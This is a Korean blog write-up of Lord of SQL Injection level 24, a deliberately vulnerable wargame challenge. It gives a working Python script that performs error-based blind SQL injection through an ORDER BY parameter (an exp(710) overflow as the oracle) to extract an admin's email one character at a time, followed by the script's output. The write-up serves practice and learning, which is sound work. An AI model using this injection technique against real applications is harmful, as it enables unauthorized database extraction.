벌써 24번째 몬스터인 아주 사악한 마법사를 마주쳤다. 점점 난이도가 올라만 가는 느낌이 드는데 너무 두려워말고 코드를 먼저 보도록 해보자
코드
무엇보다 주석은 두려워할 필요가 있다. 이번 문제도 order by뒤에 전달할 파라미터 order를 설정할 수는 있지만, hell fire때와 같지 않을 거라고 이야기한다.
또한 저번 시간 time base sql injection을 사용해서 hell fire를 파훼한 사람에게는 아쉽지만 sleep과 benchmark는 금지되었다.
해결방법
Answer Url : los.rubiya.kr/chall/XXXX.php?order=1&email=aasup3r_secure_email@emai1.com
from requests import get
import string
url = "### evil wizrd의 URL ###"
cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
length = 0
password = ''
letters = string.ascii_letters + string.digits + string.punctuation
print("### find for pw length ###")
while(True) :
param = "?order=(select exp(710) where "+str(length)+"=(select length(email) where id='admin'))"
new_url = url+param
rec = get(new_url,cookies=cookie)
if(rec.text.find("rubiya805")<0) :
print("find pw length : "+str(length))
break
else :
print("PLease... : "+str(length))
length+=1
print("### find for pw ###")
for i in range(1,length+1) :
temp_array = ''
for a in letters :
param = "?order=(select exp(710) where '"+str(ord(a))+"'=ASCII((select substr(email,"+str(i)+",1) where id='admin')))"
new_url = url+param
rec = get(new_url,cookies=cookie)
if(rec.text.find("rubiya805")<0) :
password += a
print("total password",password)
break
print("here's your passwrod : "+password)
어.... 필자는 기회가 되면 hell fire의 풀이법을 time based SQL Injection으로 고치고 오겠다.
* 풀이는 완전히 동일하다. *
* 역시 주석은 무서워할 필요가 없다. *
출력은 다음과 같다.
### find for pw length ###
PLease... : 0
PLease... : 1
PLease... : 2
...
PLease... : 29
find pw length : 30
### find for pw ###
total password a
total password aa
total password aas
...
total password aasup3r_secure_email@emai1.com
here's your passwrod : aasup3r_secure_email@emai1.com
에이씨 이럴줄 알았으면 저번에 Time Based SQL Injection으로 풀어볼걸
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[LOSI] Lord of SQL Injection Level 26 - Red Dragon (0) | 2021.04.22 |
---|---|
[LOSI] Lord of SQL Injection Level 25 - Green Dragon (0) | 2021.04.22 |
[LOSI] Lord of SQL Injection Level 23 - Hell Fire (0) | 2021.04.21 |
[LOSI] Lord of SQL Injection Level 22 - Dark Eyes (0) | 2021.04.20 |
[LOSI] Lord of SQL Injection Level 21 - Iron Golem (0) | 2021.04.20 |